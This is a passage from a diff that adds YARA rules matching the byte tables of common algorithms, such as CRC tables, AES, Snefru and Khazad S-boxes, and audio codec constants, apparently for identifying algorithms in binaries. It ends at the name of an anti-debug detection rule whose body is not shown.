+	$a0 = { 010000000200000004000000080000001000000020000000400000008000000065000000ca000000f1000000870000006b000000d6000000c9000000f70000008b00000073000000e6000000a9000000370000006e000000dc000000dd000000df000000db000000d3000000c3000000e3000000a300000023000000460000008c0000007d000000fa00000091000000470000008e00000079000000f20000008100000067000000ce000000f9000000970000004b000000960000004900000092000000410000008200000061000000c2000000e1000000a70000002b00000056000000ac0000003d0000007a000000f40000008d0000007f000000fe0000009900000057000000ae0000003900000072000000e4000000ad0000003f0000007e000000fc0000009d0000005f000000be000000190000003200000064000000c8000000f50000008f0000007b000000f60000008900000077000000ee000000b9000000170000002e0000005c000000b8000000150000002a00000054000000a8000000350000006a000000d4000000cd000000ff0000009b00000053000000a60000002900000052000000a40000002d0000005a000000b40000000d0000001a0000003400000068000000d0000000c5000000ef000000bb00000013000000260000004c0000009800000055000000aa0000003100000062000000c4000000ed000000bf0000001b000000360000006c000000d8000000d5000000cf000000fb00000093000000430000008600000069000000d2000000c1000000e7000000ab0000003300000066000000cc000000fd0000009f0000005b000000b60000000900000012000000240000004800000090000000450000008a00000071000000e2000000a1000000270000004e0000009c0000005d000000ba0000001100000022000000440000008800000075000000ea000000b1000000070000000e0000001c0000003800000070000000e0000000a50000002f0000005e000000bc0000001d0000003a00000074000000e8000000b50000000f0000001e0000003c00000078000000f0000000850000006f000000de000000d9000000d7000000cb000000f30000008300000063000000c6000000e9000000b70000000b000000160000002c00000058000000b0000000050000000a000000140000002800000050000000a0000000250000004a000000940000004d0000009a00000051000000a20000002100000042000000840000006d000000da000000d1000000c7000000eb000000b300000003000000060000000c000000180000003000000060000000c0000000e5000000af0000003b00000076000000ec000000bd0000001f0000003e0000007c000000f8000000950000004f0000009e00000059000000b200000000000000 }
+
+condition:
+	$a0
+}
+
+	
+rule OpenJPEG_dwt_norms_real__flt64___64_big_296_
+{
+strings:
+	$a0 = { 3ff00000000000003fff70a3d70a3d714010b53f7ced91684020ce56041893754030e666666666664040eb851eb851ec4050ec28f5c28f5c4060e9999999999a4070e9999999999a4080e7333333333340002d0e56041893400fe978d4fdf3b64020b5c28f5c28f640310a3d70a3d70a4041228f5c28f5c340512851eb851eb8406129999999999a407129999999999a408128000000000040002d0e56041893400fe978d4fdf3b64020b5c28f5c28f640310a3d70a3d70a4041228f5c28f5c340512851eb851eb8406129999999999a407129999999999a40812800000000004000a3d70a3d70a4400eeb851eb851ec40209d2f1a9fbe7740312e147ae147ae40415ae147ae147b405165c28f5c28f6406169999999999a407169999999999a408169999999999a }
+
+condition:
+	$a0
+}
+
+	
+rule sfb_24_1024__16_lil_94_
+{
+strings:
+	$a0 = { 040008000c001000140018001c002000240028002c0034003c0044004c0054005c0064006c0074007c0088009400a000ac00bc00cc00dc00f00004011c01340150016c018c01b001d401fc01280258028c02c002000340038003c0030004 }
+
+condition:
+	$a0
+}
+
+	
+rule EPWIC_Sum_to_sqrt_2_lo_filter__flt64___64_lil_72_
+{
+strings:
+	$a0 = { 9d561f1fc8be9c3f47ffd1067f33afbfa99f0d9212c9b2bfffc436624e8ada3f0865336eb683e93fffc436624e8ada3fa99f0d9212c9b2bf47ffd1067f33afbf9d561f1fc8be9c3f }
+
+condition:
+	$a0
+}
+
+	
+rule CRC_10_poly_0x233__16_big_refl_False_
+{
+strings:
+	$a0 = { 000002330466065508cc0aff0caa0e99119813ab15fe17cd19541b671d321f0123302103275625652bfc29cf2f9a2da932a8309b36ce34fd3a6438573e023c3146604453420640354eac4c9f4aca48f957f855cb539e51ad5f345d075b52596165506763613663056d9c6faf69fa6bc974c876fb70ae729d7c047e3778627a518cc08ef388a68a95840c863f806a82599d589f6b993e9b0d959497a791f293c1aff0adc3ab96a9a5a73ca50fa35aa169be68bc5bba0eb83db6a4b497b2c2b0f1caa0c893cec6ccf5c26cc05fc60ac439db38d90bdf5edd6dd3f4d1c7d792d5a1e990eba3edf6efc5e15ce36fe53ae709f808fa3bfc6efe5df0c4f2f7f4a2f6911bb319801fd51de6137f114c1719152a0a2b08180e4d0c7e02e700d4068104b238833ab03ce53ed6304f327c3429361a291b2b282d7d2f4e21d723e425b127825dd35fe059b55b86551f572c5179534a4c4b4e78482d4a1e448746b440e142d27ee37cd07a8578b6762f741c7249707a6f7b6d486b1d692e67b7658463d161e297739540931591269fbf9d8c9bd999ea86eb84d8828d80be8e278c148a418872b443b670b025b216bc8fbebcb8e9badaa5dba7e8a1bda38ead17af24a971ab42d113d320d575d746d9dfdbecddb9df8ac08bc2b8c4edc6dec847ca74cc21ce12f223f010f645f476faeff8dcfe89fcbae3bbe188e7dde5eeeb77e944ef11ed22 }
+
+condition:
+	$a0
+}
+
+	
+rule libavcodec_truespeech_ts_5F2__16_big_16_
+{
+strings:
+	$a0 = { 60004800360028801e6016c811160cd1 }
+
+condition:
+	$a0
+}
+
+	
+rule libavcodec_ff_nelly_init_table__16_big_128_
+{
+strings:
+	$a0 = { 0c3e14de1ad61e70217923e1261027cf29872b352caa2dfa2f5430e1327d33f4356a36cb3810397c3b0d3c753dd03f1d408141a442c243f9450f461c473e4858494c4a864bb54cb84dd14eed5014514d52aa53d95522567957b558e45a1b5b365c545d765ea35fc960f362136346648266086781690f6ad06ce56f2f72f27a7b }
+
+condition:
+	$a0
+}
+
+	
+rule CRC32_poly_0x1db71064__32_big_refl_True_
+{
+strings:
+	$a0 = { 000000001e0b41de3c1683bc221dc262343cdc092a379dd7082a5fb516211e6b246863633a6322bd187ee0df0675a1011054bf6a0e5ffeb42c423cd632497d0804c11db71aca5c6938d79e0b26dcdfd530fdc1be2ef680600ceb420212e003dc20a97ed43ea23f0a1cbffd6802b4bcb61495a2dd0a9ee30328832161368860bf09823b6e17897ab03594b8d22b9ff90c3dbee76723b5a6b901a864db1fa325052dea580d33e119d311fcdbb10ff79a6f19d6840407ddc5da25c007b83bcb46660d4326d9134867073155a5652f5ee4bb397ffad02774bb0e0569796c1b6238b2292b45ba37200464153dc6060b3687d81d1799b3031cd86d21011a0f3f0a5bd1130476dc0d0f37022f12f5603119b4be2738aad53933eb0b1b2e2969052568b7376c15bf296754610b7a96031571d7dd0350c9b61d5b88683f464a0a214d0bd417c56b6b09ce2ab52bd3e8d735d8a90923f9b7623df2f6bc1fef34de01e4750033ad08082da649d60fbb8bb411b0ca6a0791d401199a95df3b8757bd258c16631a864db2048d0c6c2690ce0e389b8fd02eba91bb30b1d06512ac12070ca753d93eee2ed120e56f0f02f8ad6d1cf3ecb30ad2f2d814d9b30636c4716428cf30ba1e475005004c11db2251d3b93c5a92672a7b8c0c3470cdd2166d0fb008664e6e3a2f3366242472b80639b0da1832f1040e13ef6f1018aeb132056cd32c0e2d0d2608edb83803ac661a1e6e0404152fda123431b10c3f706f2e22b20d3029f3d302608edb1c6bcf053e760d67207d4cb9365c52d22857130c0a4ad16e144190b022c9f00f3cc2b1d11edf73b300d4326d16f52c0608fe6dd82ae3afba34e8ee6406a1936c18aad2b23ab710d024bc510e329d4f652c960ebb0e8bccd910808d072f8ad6d631819708139c556a0d9714b41bb60adf05bd4b0127a0896339abc8bd0be2b5b515e9f46b37f4360929ff77d73fde69bc21d5286203c8ea001dc3abde2b4bcb6135408abf175d48dd095609031f771768017c56b6236194d43d6ad50a0f23a8021128e9dc33352bbe2d3e6a603b1f740b251435d50709f7b71902b669350c9b642b07daba091a18d8171159060130476d1f3b06b33d26c4d1232d850f1164f8070f6fb9d92d727bbb33793a652558240e3b5365d0194ea7b20745e66c31cd86d32fc6c70d0ddb056f13d044b105f15ada1bfa1b0439e7d96627ec98b815a5e5b00baea46e29b3660c37b827d2219939b93f9278671d8fba050384fbdb3c8ea00a2285e1d4009823b61e93626808b27c0316b93ddd34a4ffbf2aafbe6118e6c36906ed82b724f040d53afb010b2cda1f6032d15ebe10cc9cdc0ec7dd02384fbdbd2644fc6304593e011a527fdf0c7361b41278206a3065e2082e6ea3d61c27dede022c9f0020315d623e3a1cbc281b02d736104309140d816b0a06c0b5 }
+
+condition:
+	$a0
+}
+
+	
+rule Rijndael_Te0__0xc66363a5U___32_lil_1024_
+{
+strings:
+	$a0 = { a56363c6847c7cf8997777ee8d7b7bf60df2f2ffbd6b6bd6b16f6fde54c5c5915030306003010102a96767ce7d2b2b5619fefee762d7d7b5e6abab4d9a7676ec45caca8f9d82821f40c9c989877d7dfa15fafaefeb5959b2c947478e0bf0f0fbecadad4167d4d4b3fda2a25feaafaf45bf9c9c23f7a4a453967272e45bc0c09bc2b7b7751cfdfde1ae93933d6a26264c5a36366c413f3f7e02f7f7f54fcccc835c343468f4a5a55134e5e5d108f1f1f9937171e273d8d8ab533131623f15152a0c04040852c7c795652323465ec3c39d28181830a19696370f05050ab59a9a2f0907070e361212249b80801b3de2e2df26ebebcd6927274ecdb2b27f9f7575ea1b0909129e83831d742c2c582e1a1a342d1b1b36b26e6edcee5a5ab4fba0a05bf65252a44d3b3b7661d6d6b7ceb3b37d7b2929523ee3e3dd712f2f5e97848413f55353a668d1d1b9000000002cededc1602020401ffcfce3c8b1b179ed5b5bb6be6a6ad446cbcb8dd9bebe674b393972de4a4a94d44c4c98e85858b04acfcf856bd0d0bb2aefefc5e5aaaa4f16fbfbedc5434386d74d4d9a5533336694858511cf45458a10f9f9e906020204817f7ffef05050a0443c3c78ba9f9f25e3a8a84bf35151a2fea3a35dc04040808a8f8f05ad92923fbc9d9d214838387004f5f5f1dfbcbc63c1b6b67775dadaaf63212142301010201affffe50ef3f3fd6dd2d2bf4ccdcd81140c0c18351313262fececc3e15f5fbea2979735cc4444883917172e57c4c493f2a7a755827e7efc473d3d7aac6464c8e75d5dba2b191932957373e6a06060c098818119d14f4f9e7fdcdca3662222447e2a2a54ab90903b8388880bca46468c29eeeec7d3b8b86b3c14142879dedea7e25e5ebc1d0b0b1676dbdbad3be0e0db563232644e3a3a741e0a0a14db4949920a06060c6c242448e45c5cb85dc2c29f6ed3d3bdefacac43a66262c4a8919139a495953137e4e4d38b7979f232e7e7d543c8c88b5937376eb76d6dda8c8d8d0164d5d5b1d24e4e9ce0a9a949b46c6cd8fa5656ac07f4f4f325eaeacfaf6565ca8e7a7af4e9aeae4718080810d5baba6f887878f06f25254a722e2e5c241c1c38f1a6a657c7b4b47351c6c69723e8e8cb7cdddda19c7474e8211f1f3edd4b4b96dcbdbd61868b8b0d858a8a0f907070e0423e3e7cc4b5b571aa6666ccd84848900503030601f6f6f7120e0e1ca36161c25f35356af95757aed0b9b9699186861758c1c199271d1d3ab99e9e2738e1e1d913f8f8ebb398982b33111122bb6969d270d9d9a9898e8e07a7949433b69b9b2d221e1e3c9287871520e9e9c949cece87ff5555aa782828507adfdfa58f8c8c03f8a1a15980898909170d0d1adabfbf6531e6e6d7c6424284b86868d0c3414182b0999929772d2d5a110f0f1ecbb0b07bfc5454a8d6bbbb6d3a16162c }
+
+condition:
+	$a0
+}
+
+	
+rule CRC32_poly_0xf00f9344__32_lil_refl_True_
+{
+strings:
+	$a0 = { 0000000024301819486030326c50282b8f20f321ab10eb38c740c313e370db0a01a1750625916d1f49c145346df15d2d8e818627aab19e3ec6e1b615e2d1ae0c0242eb0c2672f3154a22db3e6e12c3278d62182da9520034c502281fe132300603e39e0a27d386134b83ae386fb3b6218cc36d2ba8f37532c4a35d19e09345000484d61920b4ce004ce4e62b68d4fe328ba42538af943d21c3c4150ae7f40d130525a31f2115bb064d45932d69758b348a05503eae354827c265600ce655781506c63d1522f6250c4ea60d276a96153e89e6ce34add6d62dc186fe06e5b6e61f076748132357500a4f0778216b3760388847bb32ac77a32bc0278b00e41793190808ad332c38b52a40689d016458851887285e12a318460bcf486e20eb78763909a9d8352d99c02c41c9e80765f9f01e86892b14a2b9330dcee91b26ead9033f0a4a463f2e7a5e26422a760d661a6e14856ab51ea15aad07cd0a852ce93a9d350beb33392fdb2b20438b030b67bb1b1284cbc018a0fbd801ccabf02ae89be8330c8c7b2a28bc633344ec4b1860dc530183ac880ba79c9012cbccb839effca0200d2d0e2c291d1635454d3e1e617d2607820dfd0da63de514ca6dcd3fee5dd5260ece90262afe883f46aea014629eb80d81ee6307a5de7b1ec98e5335edbe4b2c0f6fe5202b5ffd39470fd512633fcd0b804f1601a47f0e18c82f2633ec1f3e2a0ff0c9222bc0d13b4790f91063a0e10980d03a03a4e0221ac8b00a31ec8012280e51bc242a61a43d46318c166201940f81714f05a541571cc9117f37ed21672e0db2222e29823a3745d2121c61e20a058292d10fa6a2c916caf2e13deec2f9240c13572828234f314473671a60437f038333a409a703bc10cb53943bef638c220b741f3b2f44072243142f09672437108454ec1aa064f403cc34dc28e804c4310ad56a3d2ee5722442b55a0f6685421685f5991ca1c58105cd95a92ee9a5b1370936f4372d06ec2e4156c4056566dc1c86160716a2261f0fce763724ea462f3d089781312ca7992840f7b10364c7a91a87b77210a3876a09cfd74222ebe75a3b07f8641123c87c084f9854236ba84c3a88d89730ace88f29c0b8a702e488bf1b065911172269090e4e3921256a09393c8979e236ad49fa2fc119d204e529ca1d05ba8f1d218a97044ddabf2f69eaa7368a9a7c3caeaa6425c2fa4c0ee6ca5417041bfa1b202be2024c7bca29684bd2308b3b093aaf0b1123c35b3908e76b2111037cb208274caa114b1c823a6f2c9a238c5c4129a86c5930c43c711be00c690202ddc70e26eddf174abdf73c6e8def258dfd342fa9cd2c36c59d041de1ad1c04013e5904250e411d495e69366d6e712f8e1eaa25aa2eb23cc67e9a17e24e820e009f2c0224af341b48ff1c306ccf04298fbfdf23ab8fc73ac7dfef11e3eff708 }
+
+condition:
+	$a0
+}
+
+	
+rule Huffman_LZH_d_len__8_byt_256_
+{
+strings:
+	$a0 = { 03030303030303030303030303030303030303030303030303030303030303030404040404040404040404040404040404040404040404040404040404040404040404040404040404040404040404040505050505050505050505050505050505050505050505050505050505050505050505050505050505050505050505050505050505050505050505050505050506060606060606060606060606060606060606060606060606060606060606060606060606060606060606060606060607070707070707070707070707070707070707070707070707070707070707070707070707070707070707070707070708080808080808080808080808080808 }
+
+condition:
+	$a0
+}
+
+	
+rule MPEG_2_NBC_sfb_24_128__avcodec___faad___16_big_30_
+{
+strings:
+	$a0 = { 00040008000c001000140018001c0024002c00340040004c005c006c0080 }
+
+condition:
+	$a0
+}
+
+	
+rule HAM84_DAC_tab__32_big_512_
+{
+strings:
+	$a0 = { 0000001000000000000000000000000300000000000000050000000e0000000700000000000000090000000e0000000b0000000e0000000d0000001e0000000e000000000000000900000002000000070000000400000007000000070000001700000009000000190000000a000000090000000c000000090000000e000000070000000000000005000000020000000b00000005000000150000000600000005000000080000000b0000000b0000001b0000000c000000050000000e0000000b000000020000000100000012000000020000000c0000000500000002000000070000000c00000009000000020000000b0000001c0000000c0000000c0000000f00000000000000030000000300000013000000040000000d0000000600000003000000080000000d0000000a000000030000000d0000001d0000000e0000000d00000004000000010000000a00000003000000140000000400000004000000070000000a000000090000001a0000000a000000040000000d0000000a0000000f00000008000000010000000600000003000000060000000500000016000000060000001800000008000000080000000b000000080000000d000000060000000f000000010000001100000002000000010000000400000001000000060000000f00000008000000010000000a0000000f0000000c0000000f0000000f0000001f }
+
+condition:
+	$a0
+}
+
+	
+rule asf_ext_stream_audio__8_byt_16_
+{
+strings:
+	$a0 = { 9d8c1731e1032845b5823df9db22f503 }
+
+condition:
+	$a0
+}
+
+	
+rule _way__32_big_AND_
+{
+strings:
+	$a0 = { 00000b0b[0-20]0000b1b1[0-20]00011011 }
+
+condition:
+	$a0
+}
+
+	
+rule Borland_ebcdic_to_ascii__8_byt_256_
+{
+strings:
+	$a0 = { 000102035c095c7f5c5c5c0b0c0d0e0f101112135c5c085c18195c5c1c1d1e1f5c5c5c5c5c0a171b5c5c5c5c5c0506075c5c165c5c5c5c045c5c5c5c14155c1a205c5c5c5c5c5c5c5c5c5b2e3c282b21265c5c5c5c5c5c5c5c5c5d242a293b5e2d2f5c5c5c5c5c5c5c5c7c2c255f3e3f5c5c5c5c5c5c5c5c5c603a2340273d225c6162636465666768695c5c5c5c5c5c5c6a6b6c6d6e6f7071725c5c5c5c5c5c5c7e737475767778797a5c5c5c5c5c5c5c5c5c5c5c5c5c5c5c5c5c5c5c5c5c5c7b4142434445464748495c5c5c5c5c5c7d4a4b4c4d4e4f5051525c5c5c5c5c5c5c5c535455565758595a5c5c5c5c5c5c303132333435363738395c5c5c5c5cff }
+
+condition:
+	$a0
+}
+
+	
+rule libavcodec_qdm2_sb_noise_attenuation__flt32___32_big_128_
+{
+strings:
+	$a0 = { 00000000000000003e99999a3ecccccd3f0000003f3333333f8000003f8000003f8000003f8000003f8000003f8000003f8000003f8000003f8000003f8000003f8000003f8000003f8000003f8000003f8000003f8000003f8000003f8000003f8000003f8000003f8000003f8000003f8000003f8000003f8000003f800000 }
+
+condition:
+	$a0
+}
+
+	
+rule Snefru_S_box_4__32_lil_1024_
+{
+strings:
+	$a0 = { cb9722cb44a148db4bbe6ca16c1deabbb7b6f65ab610818af96e23f9e6838fc9b8659c0f894a2d2568f097a42dedd7a54528c294c4c8a19d2e2e7ce2b4a28b6efb17ddc382d48c499f6afe0d295870b0c16d1e9a7c7129f83a8ebb07020b3cdac72ff81a5509b7739c37047a280ae25ee52a71836d7cc4f456ba72df8d8594d709f70c8c90f3f018359bc6b6db012fbfca4da72f2791cdd0ec6ce6bd46bdee3dc38fc8576f40e1ce5a3866004f44c3f3d5d5793ab91e757585817f3e05261c526eabaae10fb8eb3804e9e7be4796cb614e9054eae400ae055fc67a2da15177081529d8dc16ee21093bd386dd1a49bdd6f0adfb40d2cb3242108d8033428c093999313f197ae4c10b49b1824a8a5ab6028edc4c102cf5a82477605c68c9959fc750fe111dcdaf8dc0039a1a7bd8111f1c7f0e258448b29d970105dceb953355b9a85ec0e34c1ce5b181e6b0136677403b8730db36fcc917eef2ec536c8fc5ccad0b6627c47d86d5efa5546d9bffaef16f5279788ee0ff2b9e34d06187addb0be0d3a899aee2f603cc07d80efde38a500eab8241b75d24494365a420d141a646b2b07a3bafbb88642a1f0d3a4b8ce5c7e7ebf2af3ffd5f449093c338cfe7075d99361b4ff291686f35bebc6e6d62e2a98d0e52fd501e9eca5bf32c473757500769edfdc57e2a89ab0cba1224fbbfde281788a900a079ce43d8dd202e0453f8e84f3c9c655619d1392720618aa77503968011064270789fe085967ed1abaf3e511b63eb011e3321ad2694c090a860cf13761b787e81d71391a358fa57e99eb93141daefb128a7fbac664a9468ffd14fa4772215337ffab3ff595b93dfa6dfd912fa3f6fbfc6f60c52896add9e6539a74d543825058b21ea307c255534c2b27f92156b434a148b7b10ba97ac191232047306b31a8331245c5ac53ecd0faae86b60e59bf1885cee41084c6772e31ff4c4f911ae9d1b9fd0764e8631c737e6a6237dd95c3df532801916b8840ffa937008efca7e48748873ccf298c6b55f64593685cd0d476220e9e8ed16b5da066b0039b47886b795fce17d8e5d54595b4614a07bfe7b3fd2f7188bbc9292355903f7f4ce551773b274c21fde79bdbfa0c8cc989322ce02a6626146b9bc06d23653fe75a3d283b46a6aa4a502473dd7e9a2f1e0a2230a148991dc181d582b929ab312623582a932f4d5a3c256d34d5b765fc8fc0a4537e11544bcdfece8eae30ded132bd46071f93df1a25dfc71405345c12f7487f051575ef5f8c1b36774876bacacaacf7dc03b9895b1b09b482342182c26674b961c27d32b726426723045d6de43a32a0aa016f7d4d9d6dab45e3484210c992c51082dd9299a70be2e694c14019d4b5834d64e63e4cf63c9ecaa84693cef56d04e7669a59cd4803e8fc5e7bab5f5cab530643af363debbe4a99822b8f61d3c674d }
+
+condition:
+	$a0
+}
+
+	
+rule libavcodec_dpcm_interplay_delta_table__32_lil_1024_
+{
+strings:
+	$a0 = { 000000000100000002000000030000000400000005000000060000000700000008000000090000000A0000000B0000000C0000000D0000000E0000000F000000100000001100000012000000130000001400000015000000160000001700000018000000190000001A0000001B0000001C0000001D0000001E0000001F000000200000002100000022000000230000002400000025000000260000002700000028000000290000002A0000002B0000002F00000033000000380000003D00000042000000480000004F000000560000005E00000066000000700000007A00000085000000910000009E000000AD000000BD000000CE000000E1000000F50000000B010000240100003E0100005C0100007B0100009E010000C4010000ED0100001A0200004B02000080020000BB020000FB020000400300008C030000DF030000390400009C040000080500007D050000FE0500008906000022070000C90700007F080000450900001E0A00000A0B00000C0C0000250D0000580E0000A80F000015110000A412000058140000331600003A1800006F1A0000D91C00007B1F00005A2200007D250000E8280000A42C0000B730000029350000033A00004E3F000015450000624B000044520000C5590000F6610000E76A0000A87400004D7F0000EB8AFFFF9897FFFF6EA5FFFF86B4FFFFFFC4FFFFF9D6FFFF97EAFFFFFFFFFFFF01000000010000006915000007290000013B00007A4B0000925A00006868000015750000B380FFFF588BFFFF1995FFFF0A9EFFFF3BA6FFFFBCADFFFF9EB4FFFFEBBAFFFFB2C0FFFFFDC5FFFFD7CAFFFF49CFFFFF5CD3FFFF18D7FFFF83DAFFFFA6DDFFFF85E0FFFF27E3FFFF91E5FFFFC6E7FFFFCDE9FFFFA8EBFFFF5CEDFFFFEBEEFFFF58F0FFFFA8F1FFFFDBF2FFFFF4F3FFFFF6F4FFFFE2F5FFFFBBF6FFFF81F7FFFF37F8FFFFDEF8FFFF77F9FFFF02FAFFFF83FAFFFFF8FAFFFF64FBFFFFC7FBFFFF21FCFFFF74FCFFFFC0FCFFFF05FDFFFF45FDFFFF80FDFFFFB5FDFFFFE6FDFFFF13FEFFFF3CFEFFFF62FEFFFF85FEFFFFA4FEFFFFC2FEFFFFDCFEFFFFF5FEFFFF0BFFFFFF1FFFFFFF32FFFFFF43FFFFFF53FFFFFF62FFFFFF6FFFFFFF7BFFFFFF86FFFFFF90FFFFFF9AFFFFFFA2FFFFFFAAFFFFFFB1FFFFFFB8FFFFFFBEFFFFFFC3FFFFFFC8FFFFFFCDFFFFFFD1FFFFFFD5FFFFFFD6FFFFFFD7FFFFFFD8FFFFFFD9FFFFFFDAFFFFFFDBFFFFFFDCFFFFFFDDFFFFFFDEFFFFFFDFFFFFFFE0FFFFFFE1FFFFFFE2FFFFFFE3FFFFFFE4FFFFFFE5FFFFFFE6FFFFFFE7FFFFFFE8FFFFFFE9FFFFFFEAFFFFFFEBFFFFFFECFFFFFFEDFFFFFFEEFFFFFFEFFFFFFFF0FFFFFFF1FFFFFFF2FFFFFFF3FFFFFFF4FFFFFFF5FFFFFFF6FFFFFFF7FFFFFFF8FFFFFFF9FFFFFFFAFFFFFFFBFFFFFFFCFFFFFFFDFFFFFFFEFFFFFFFFFFFFFF }
+
+condition:
+	$a0
+}
+
+	
+rule libaf_rear_same_side__135_degree___flt64___64_big_1024_
+{
+strings:
+	$a0 = { 3f72bb77e88da8193f564523f4b1dfc53f8fcf9e4b9a0c58bf2ee1d1490b9627bfad6b869eabb4863fa190ac32022c033f808e321cd910833fcc0612e6286c243fd319924c669349bfd5234e9e697068bfd47118ec85afbb3fcbb0c672832af23fcf31f98b7500fcbfb6a3cf951dc8dc3fa42bd2d2f9f7093fdd0c31abb80f863fb3742876ee04d4bfc72fd3b0adefcb3fd247ef9d5bdff23fd9eab9cba743c2bfab61963020c00dbfd4231edeb91e43bfba75290ae4708ebfa7507c95d42537bfc812d58bde0c51bfc171faf412e877bfbab732e1300190bfc95e09dcbe3dfbbfc560d8fd866407bf975713ccb3376d3fadb8b09a46e2113f7cdeb35c9943c7bf684d082c1a12423fb9f5b9482604183fbdd249e2733e013faab7cac1c8c5b13f9d1bf7c220d1f03fa541fa90f7e3b3bf46cefa5fe3ddf2bfae337183c24274bfa3774589755cf0bf9e02a57ff9c045bfa74aa15140dfa4bfaeae21cbcd198abfadd97299bcca9fbfa3479eb040c57abfa2393fca35e569bf9524b92e8c97f8bf776edbcabf5b8dbf712b2ee1bd2423bf52cb3c5f3951553f81e4ea9ee4c23d3f9801bf7d0dadd43f98c8fe1d1ac0043f93675bf65f29d73f954e9a1b5969b43f96168f2105b08c3f7bdae6661b044dbf826ea386c83622bf867758ed614f6fbf6b91a2ad14afb5bf89f65d91ed04abbf9b61b6e865bdd6bf97fd79b004898fbf97dc7b39ca61abbf9836f5bf9e7af1bf95ccdde9ef53d7bf82adc3159743093f4e50c397ae92743f0677b1079d3e3fbf17b43a8f7d91583f2d9652c093980b3f7d7f839309173b3f7d21578b57c3bf3f6a1a9b1dc3f3c93f809731549234dd3f89d84845bb12d13f801623880e82c4bf63ac03f377b75ebf57cc0c5625cfa2bf64eb1dfc931b39bf89745447bb037abf8c1e14f2ca0dc8bf7cb67bd38ae84dbf7d59585a4c22afbf90c94c6c890498bf903635c86b21e8bf7deca74b7ac3c7bf6d9055a785b4d7bf6abd370cfc701f3f695076fa7dc81f3f7eb30d35970d973f649ab9f359d9403f0961503d0f02a43f5cd450c864d90f3f72ef8f8b4ee1593f6c10ab0a5e56b03f6e5edf1affdac23f6d26acc0e11684bf5f42492868d45dbf78cf95d96440cbbf7c5eb248ce546cbf71cc159ee0b3ebbf711c8e3afec4ecbf760287aec6323fbf7b22bf29011070bf81c69453f40dbebf85f3b233e648bfbf8754d181a47b37bf802aaf9d07f7fbbf669676b21546d6bf0fcbe9826c86f7bf54802376e60975bf64125651a05e1cbf621c212c9bca8dbf632df4aa3dbc99bf4d56b1b57e03733f41ac89f276d108bf35bdf12d25e76bbf707b76bf53c776bf81b9f5d4e8b53abf84466dc891266abf81beee4b4d575ebf76abb0f2fb1da1bf6e99914af9fce4bf6691490f7a0f8abf66060ca9dec4ffbf70ba93353aea78 }
+
+condition:
+	$a0
+}
+
+	
+rule libavcodec_atrac_subbandTab__16_lil_66_
+{
+strings:
+	$a0 = { 00000800100018002000280030003800400050006000700080009000a000b000c000e00000012001400160018001a001c001e001000240028002c002000380030004 }
+
+condition:
+	$a0
+}
+
+	
+rule MPEG_2_NBC_Fraunhofer_Huffman_bookRvlc__32_lil_180_
+{
+strings:
+	$a0 = { F9FFFFFF0700000041000000FAFFFFFF0900000001010000FBFFFFFF0800000081000000FCFFFFFF0600000021000000FDFFFFFF0500000011000000FEFFFFFF0400000009000000FFFFFFFF030000000500000000000000010000000000000001000000030000000700000002000000050000001B00000003000000060000003300000004000000070000006B0000000500000008000000C30000000600000009000000AB010000070000000700000063000000 }
+
+condition:
+	$a0
+}
+
+	
+rule B64EncodeTable__32_lil_ASC_256_
+{
+strings:
+	$a0 = { 4100000042000000430000004400000045000000460000004700000048000000490000004a0000004b0000004c0000004d0000004e0000004f000000500000005100000052000000530000005400000055000000560000005700000058000000590000005a0000006100000062000000630000006400000065000000660000006700000068000000690000006a0000006b0000006c0000006d0000006e0000006f000000700000007100000072000000730000007400000075000000760000007700000078000000790000007a000000300000003100000032000000330000003400000035000000360000003700000038000000390000002b0000002f000000 }
+
+condition:
+	$a0
+}
+
+	
+rule khazad_U1__32_big_1024_
+{
+strings:
+	$a0 = { d3ba68d2fc54194d712f93bc9c74b9cdf553025168d3b86b6bd2bd6fd74d6429f0500d5de9ac268a8a8d830edcbf79c69070adddf6520755b39ac852d44c612d23ea658f62d5a673a497f1666ed1b2635533ffccf3510859ed5b2a71f7a604a27fde815fd848753de5a8329ab699c75e70db904b5632fac8c4b751e619fc2bd738e348abbf9edc42ae91ef7eb09bcd563be24dafd0bb6dd6c3415819b26ecba5f2a50bae40cbc00bbd6bdab1a295fb6efea11fbe08f318ebceb14ffe06020a0849ccdb1751c4f337271d69743c14445058c3e82ba563f29173da954fe75d3469e15f3e6179dc8b57877d94e94acdde13817f9ee1ee5a2f75b46cc1ade45c316d04f70cfb6a26be981cff24db2aed7e9325e86f87ba9dd34eb16fcea18f8e8c022b197d64fda01aba0df017e78689971e110f333c09071b1cecaf298610fb30cb180828203f154154170d39340c04141003010504ac64e98d7cdf845b9a76b3c58b7980f97add8e53473dc9f43a164e58413fc3fc5937ebdcb76dc4a94838d8e0d6b967de9573a2d126e96a835f35e1d4ff551c499371a8d98d7b8af1898c860a9672a7d58588921a07f609ff7e2a82a8423ec6f8e25e3b656927bb9cca464305140c3c30af65ec89b868d5bda361f89905030f0c5ec1e223f957164167d6a97f76d99a43e858257d75d89f47aa66e38564d7ac7b4e3ad2e845c8cf07443cccf013fa35cfa796f462f4a701a6b598c25a29ec7b97d5b862da54c7fc3befae2c82bb69d0b9dd4b7a31e0ab3d96e6a9379ea967e6811e0a2228c94746010bf21defc2b55bee6622aa8832e556b32fee719fdfbe7cc27d2b87ac9e81bf3e36125a489883b5362d1b776c120e36386523af8c02f506f3cf454c096321a5844fced11fdb497039742c9cb016f93ac337e659bfc7b654e2782888a039174b5c9b82b0322e1a7268808b9d161ffe21df838a98121b092d2446c9ca039487a126d24e6b253ee142a3722e96b831e453b73de047a720eb608bad90ea7af1a40eaa221e66789285ab2ea060fd9d000000006f25b19401f403f70ef112e3a194fe6a1d0b272c34e75cbb9f75bcc92cef749b5c34e4d05331f5c461d4a3776dd0b7679786a422827e9be5eaad238e1afd2ed37b298da45030f0c04d3bd7ecbc9fd94615f83fc757c6f93f35135f4c0a061e180f05111452c5f633331155449977b6c1847c91ed8e7a8ff5887885fd5a36eed8241c6c704b39dde4eb59207928187860fa561345c8b345f6cdb04afa6c24b4906020a080cbb240f2ab92e072f8a315b65dc0e727cc44490da662f79530105040c1b45eea9184ae2ac5435211a893e5765bc2ed2fde4a7f35dabd73ce8c8f8906772d99b4d9bc76cab99cd64abe6adfb5c0405d1d4ccfd41bfba210b29d80ba3ad14f6e21211f637c43cac50fe3aa3892c6425715 }
+
+condition:
+	$a0
+}
+
+	
+rule LD_CELP_G_728_cb_gain__flt64___64_lil_64_
+{
+strings:
+	$a0 = { 000000000080e03f0000000000e0ec3f185c22000044f93f771df3ff7f1b0640000000000080e0bf0000000000e0ecbf185c22000044f9bf771df3ff7f1b06c0 }
+
+condition:
+	$a0
+}
+
+	
+rule anti_debug__ProcDump_PE_Header_Corruption__8_byt_35_
+{
+strings:
